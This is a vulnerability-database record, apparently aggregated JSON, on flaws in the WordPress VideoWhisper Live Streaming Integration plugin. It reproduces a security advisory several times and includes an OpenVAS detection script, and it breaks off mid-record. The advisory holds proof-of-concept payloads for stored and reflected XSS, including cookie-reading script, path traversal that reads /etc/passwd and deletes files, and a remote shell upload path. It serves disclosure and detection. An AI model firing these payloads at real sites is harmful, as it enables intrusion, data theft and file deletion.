The following URL can be used to gain knowledge of full installation path of the application:
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/bp.php
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/videowhisper_streaming.php
http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/rtmp.inc.php
{"href": "https://www.seebug.org/vuldb/ssvid-61678", "status": "poc,details", "history": [], "bulletinFamily": "exploit", "modified": "2014-03-06T00:00:00", "title": "WordPress VideoWhisper Live Streaming Integration\u591a\u4e2a\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/", "score": 5.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-61678", "cvelist": ["CVE-2014-1908"], "description": "Bugtraq ID:65880\r\nCVE ID:CVE-2014-1908\r\n\r\nWordPress\u662f\u4e00\u79cd\u4f7f\u7528PHP\u8bed\u8a00\u5f00\u53d1\u7684\u535a\u5ba2\u5e73\u53f0\uff0c\u7528\u6237\u53ef\u4ee5\u5728\u652f\u6301PHP\u548cMySQL\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u4e0a\u67b6\u8bbe\u81ea\u5df1\u7684\u7f51\u5fd7\u3002\r\n\r\nWordPress VideoWhisper Live Streaming Integration\u591a\u4e2a\u811a\u672c\u4e0d\u6b63\u786e\u5b9e\u73b0\u9519\u8bef\u5904\u7406\u673a\u5236\uff0c\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u5229\u7528\u6f0f\u6d1e\u63d0\u4ea4\u7279\u5236\u7684HTTP GET\u8bf7\u6c42\uff0c\u83b7\u53d6\u654f\u611f\u5e94\u7528\u4fe1\u606f\u3002\n0\nWordPress VideoWhisper Live Streaming Integration 4.27.3\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nWordPress\r\n-----\r\nWordPress VideoWhisper Live Streaming Integration 4.29.5\u5df2\u7ecf\u4fee\u590d\u8be5\u6f0f\u6d1e\uff0c\u5efa\u8bae\u7528\u6237\u4e0b\u8f7d\u66f4\u65b0\uff1a\r\n\r\nhttp://wordpress.org/plugins/videowhisper-live-streaming-integration/", "viewCount": 2, "published": "2014-03-06T00:00:00", "sourceData": "\n The following URL can be used to gain knowledge of full installation path of the application:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/bp.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/videowhisper_streaming.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/rtmp.inc.php\n ", "id": "SSV:61678", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T17:31:29", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 4.4, "vector": "NONE", "modified": "2017-11-19T17:31:29"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-1908"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:125454"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310804530"]}, {"type": "exploitdb", "idList": ["EDB-ID:31986"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:6175"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:30589", "SECURITYVULNS:VULN:13714"]}, {"type": "htbridge", "idList": ["HTB23199"]}], "modified": "2017-11-19T17:31:29"}, "vulnersScore": 4.4}, "objectVersion": "1.4", "references": []}
{"cve": [{"lastseen": "2019-05-29T18:13:44", "bulletinFamily": "NVD", "description": "The error-handling feature in (1) bp.php, (2) videowhisper_streaming.php, and (3) ls/rtmp.inc.php in the VideoWhisper Live Streaming Integration plugin before 4.29.5 for WordPress allows remote attackers to obtain sensitive information via a direct request, which reveals the full path in an error message.", "modified": "2014-12-30T16:37:00", "id": "CVE-2014-1908", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1908", "published": "2014-12-29T20:59:00", "title": "CVE-2014-1908", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "packetstorm": [{"lastseen": "2016-12-05T22:24:07", "bulletinFamily": "exploit", "description": "", "modified": "2014-02-27T00:00:00", "published": "2014-02-27T00:00:00", "href": "https://packetstormsecurity.com/files/125454/VideoWhisper-Live-Streaming-Integration-4.27.3-XSS-Shell-Upload-Traversal.html", "id": "PACKETSTORM:125454", "type": "packetstorm", "title": "VideoWhisper Live Streaming Integration 4.27.3 XSS / Shell Upload / Traversal", "sourceData": "`Advisory ID: HTB23199 \nProduct: VideoWhisper Live Streaming Integration \nVendor: VideoWhisper \nVulnerable Version(s): 4.27.3 and probably prior \nTested Version: 4.27.3 \nAdvisory Publication: February 6, 2014 [without technical details] \nVendor Notification: February 6, 2014 \nVendor Patch: February 7, 2014 \nPublic Disclosure: February 27, 2014 \nVulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211] \nCVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908 \nRisk Level: Critical \nCVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N) \nSolution Status: Fixed by Vendor \nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \n \n----------------------------------------------------------------------------------------------- \n \nAdvisory Details: \n \nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files. \n \n \n1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905 \n \nVideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php\". A remote attacker can upload and execute arbitrary PHP file on the target system. \n \nThe following PoC code demonstrates exploitation of the vulnerability: \n \nAfter successful exploitation the remote shell will be accessible via the following URL: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/snapshots/1.php.jpg \n \nSuccessful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension. \n \n \n2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906 \n \n2.1 The vulnerability exists due to insufficient filtration of \"m\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin\u2019s widget. The script will be also executed in administrative section on the following page: \n \nhttp://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&tab=live \n \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"u\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"m\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n \n2.2 The vulnerability exists due to insufficient filtration of \"msg\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page. \n \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php\" method=\"post\"> \n<input type=\"hidden\" name=\"msg\" value=\"<script>alert('immuniweb')</script>\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n</form> \n</body> \n \nThe code will be executed when the user visits the following URL: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads/[room]/Log[date].html \n \nWhere [room] is set by HTTP POST parameter r and [date] is the current date. \n \n2.3 The vulnerabilities exist due to insufficient filtration of \"n\" HTTP GET parameter passed to scripts \"channel.php\", \"htmlchat.php\", \"video.php\" and \"videotext.php\" within the \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/\" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website. \n \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \n \n2.4 The vulnerability exists due to insufficient filtration of \"message\" HTTP GET parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \n \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \n \n2.5 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \n \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n \n2.6 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \n \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n \n \n3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907 \n \n3.1 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php\" script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences. \n \nThe exploitation example below displays contents of \"/etc/passwd\" file: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php?s=../../../../../../etc/passwd \n \n3.2 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php\" script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences. \n \nThe exploitation example below deletes a file \"/tmp/immuniweb\": \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php?s=../../../../../../../../tmp/immuniweb \n \nSuccessful exploitation of this vulnerability requires that file \"/tmp/immuniweb\" exists on the system. \n \n \n4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908 \n \n4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application. \n \nThe following URL can be used to gain knowledge of full installation path of the application: \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp.php \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/videowhisper_streaming.php \n \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp.inc.php \n \n \n----------------------------------------------------------------------------------------------- \n \nSolution: \n \nUpdate to VideoWhisper Live Streaming Integration version 4.29.5 \n \n----------------------------------------------------------------------------------------------- \n \nReferences: \n \n[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple Vulnerabilities in VideoWhisper Live Streaming Integration Plugin for WordPress. \n[2] VideoWhisper Live Streaming Integration - http://wordpress.org/plugins/videowhisper-live-streaming-integration/ - The VideoWhisper Live Streaming software can easily be used to add video broadcasting features to WordPress sites and live video streams on blog pages. \n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures. \n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. \n[5] ImmuniWeb\u00ae - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing. \n \n----------------------------------------------------------------------------------------------- \n \nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. \n`\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/125454/videowhisper-xssshelltraversal.txt"}], "openvas": [{"lastseen": "2019-11-14T16:27:15", "bulletinFamily": "scanner", "description": "This host is installed with Wordpress VideoWhisper Live Streaming Integration\nPlugin and is prone to multiple vulnerabilities.", "modified": "2019-11-12T00:00:00", "published": "2014-04-01T00:00:00", "id": "OPENVAS:1361412562310804530", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310804530", "title": "WordPress VideoWhisper Live Streaming Integration Multiple Vulnerabilities", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_wordpress_videowhisper_mult_vuln.nasl 35802 2014-04-01 12:28:38Z Apr$\n#\n# WordPress VideoWhisper Live Streaming Integration Multiple Vulnerabilities\n#\n# Authors:\n# Thanga Prakash S <tprakash@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\nCPE = \"cpe:/a:wordpress:wordpress\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.804530\");\n script_version(\"2019-11-12T13:33:43+0000\");\n script_cve_id(\"CVE-2014-1906\", \"CVE-2014-1907\", \"CVE-2014-1905\", \"CVE-2014-1908\");\n script_bugtraq_id(65876, 65877, 65866, 65880);\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-11-12 13:33:43 +0000 (Tue, 12 Nov 2019)\");\n script_tag(name:\"creation_date\", value:\"2014-04-01 12:28:38 +0530 (Tue, 01 Apr 2014)\");\n script_name(\"WordPress VideoWhisper Live Streaming Integration Multiple Vulnerabilities\");\n\n\n script_tag(name:\"summary\", value:\"This host is installed with Wordpress VideoWhisper Live Streaming Integration\nPlugin and is prone to multiple vulnerabilities.\");\n script_tag(name:\"vuldetect\", value:\"Send a crafted data via HTTP GET request and check whether it is able to read\ncookie or not.\");\n script_tag(name:\"insight\", value:\"Multiple flaws are due to an,\n\n - Improper verification of file extensions before uploading files to the server\n in '/videowhisper-live-streaming-integration/ls/vw_snapshots.php'\n\n - Input passed via HTTP POST parameters 'msg' to /ls/vc_chatlog.php, 'm' to\n /ls/lb_status.php, 'ct' to /ls/lb_status.php and /ls/v_status.php.\n\n - Input passed via HTTP GET parameters 'n' to /ls/channel.php, htmlchat.php,\n ls/video.php, and /videotext.php, 'message' to /ls/lb_logout.php, and 's'\n to rtmp_login.php and rtmp_logout.php scripts.\");\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attacker to execute arbitrary HTML and\nscript code in a user's browser session in the context of an affected site and\nread/delete arbitrary files.\");\n script_tag(name:\"affected\", value:\"WordPress VideoWhisper Live Streaming Integration Plugin version 4.27.3\nand probably prior.\");\n script_tag(name:\"solution\", value:\"Update to version 4.29.5 or later.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_xref(name:\"URL\", value:\"http://www.exploit-db.com/exploits/31986\");\n script_xref(name:\"URL\", value:\"https://www.htbridge.com/advisory/HTB23199\");\n script_xref(name:\"URL\", value:\"http://packetstormsecurity.com/files/125454\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"secpod_wordpress_detect_900182.nasl\");\n script_mandatory_keys(\"wordpress/installed\");\n script_require_ports(\"Services/www\", 80);\n script_xref(name:\"URL\", value:\"http://wordpress.org/plugins/videowhisper-live-streaming-integration\");\n exit(0);\n}\n\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"host_details.inc\");\n\nif(!http_port = get_app_port(cpe:CPE)){\n exit(0);\n}\n\nif(!dir = get_app_location(cpe:CPE, port:http_port)){\n exit(0);\n}\n\nurl = dir + '/wp-content/plugins/videowhisper-live-streaming-integration/ls'+\n '/channel.php?n=</title><script>alert(document.cookie)</script>';\n\nif(http_vuln_check(port:http_port, url:url, check_header:TRUE,\n pattern:\"<script>alert\\(document.cookie\\)</script>\",\n extra_check:'>Video Whisper Live Streaming<'))\n{\n security_message(http_port);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "htbridge": [{"lastseen": "2017-06-23T23:08:14", "bulletinFamily": "software", "description": "High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files. \n \n1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905 \nVideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php\". A remote attacker can upload and execute arbitrary PHP file on the target system. \nThe following PoC code demonstrates exploitation of the vulnerability: \nAfter successful exploitation the remote shell will be accessible via the following URL: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ snapshots/1.php.jpg \nSuccessful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension. \n \n2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906 \n2.1 The vulnerability exists due to insufficient filtration of \"m\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin\u2019s widget. The script will be also executed in administrative section on the following page: \nhttp://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&t ab=live \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/lb_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"u\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"m\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n \n2.2 The vulnerability exists due to insufficient filtration of \"msg\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page. \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/vc_chatlog.php\" method=\"post\"> \n<input type=\"hidden\" name=\"msg\" value=\"<script>alert('immuniweb')</script>\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n</form> \n</body> \nThe code will be executed when the user visits the following URL: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ uploads/[room]/Log[date].html \nWhere [room] is set by HTTP POST parameter r and [date] is the current date. \n \n2.3 The vulnerabilities exist due to insufficient filtration of \"n\" HTTP GET parameter passed to scripts \"channel.php\", \"htmlchat.php\", \"video.php\" and \"videotext.php\" within the \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/\" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website. \nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \n2.4 The vulnerability exists due to insufficient filtration of \"message\" HTTP GET parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3 E \n2.5 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php\" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/lb_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n2.6 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. \nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word: \n \n<body onLoad=\"document.hack.submit()\"> \n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-integra tion/ls/v_status.php\" method=\"post\"> \n<input type=\"hidden\" name=\"s\" value=\"1\"> \n<input type=\"hidden\" name=\"r\" value=\"1\"> \n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\"> \n</form> \n</body> \n \n3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907 \n \n3.1 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php\" script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences. \nThe exploitation example below displays contents of \"/etc/passwd\" file: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp_login.php?s=../../../../../../etc/passwd \n3.2 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php\" script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences. \nThe exploitation example below deletes a file \"/tmp/immuniweb\": \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp_logout.php?s=../../../../../../../../tmp/immuniweb \nSuccessful exploitation of this vulnerability requires that file \"/tmp/immuniweb\" exists on the system. \n \n4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908 \n4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application. \nThe following URL can be used to gain knowledge of full installation path of the application: \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp. php \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/vid eowhisper_streaming.php \nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/ rtmp.inc.php \n\n", "modified": "2014-02-07T00:00:00", "published": "2014-02-06T00:00:00", "id": "HTB23199", "href": "https://www.htbridge.com/advisory/HTB23199", "type": "htbridge", "title": "Multiple Vulnerabilities in VideoWhisper Live Streaming Integration WP Plugin", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C/"}}], "exploitdb": [{"lastseen": "2016-02-03T15:55:41", "bulletinFamily": "exploit", "description": "Wordpress VideoWhisper 4.27.3 - Multiple Vulnerabilities. CVE-2014-1905,CVE-2014-1906,CVE-2014-1907,CVE-2014-1908. Webapps exploit for php platform", "modified": "2014-02-28T00:00:00", "published": "2014-02-28T00:00:00", "id": "EDB-ID:31986", "href": "https://www.exploit-db.com/exploits/31986/", "type": "exploitdb", "title": "WordPress VideoWhisper 4.27.3 - Multiple Vulnerabilities", "sourceData": "Advisory ID: HTB23199\r\nProduct: VideoWhisper Live Streaming Integration\r\nVendor: VideoWhisper\r\nVulnerable Version(s): 4.27.3 and probably prior\r\nTested Version: 4.27.3\r\nAdvisory Publication: February 6, 2014 [without technical details]\r\nVendor Notification: February 6, 2014\r\nVendor Patch: February 7, 2014\r\nPublic Disclosure: February 27, 2014\r\nVulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211]\r\nCVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908\r\nRisk Level: Critical\r\nCVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )\r\n\r\n------------------------------------------------------------------------\r\n-----------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.\r\n\r\n1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905\r\n\r\nVideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snaps\r\nhots.php\". A remote attacker can upload and execute arbitrary PHP file on the target system.\r\n\r\nThe following PoC code 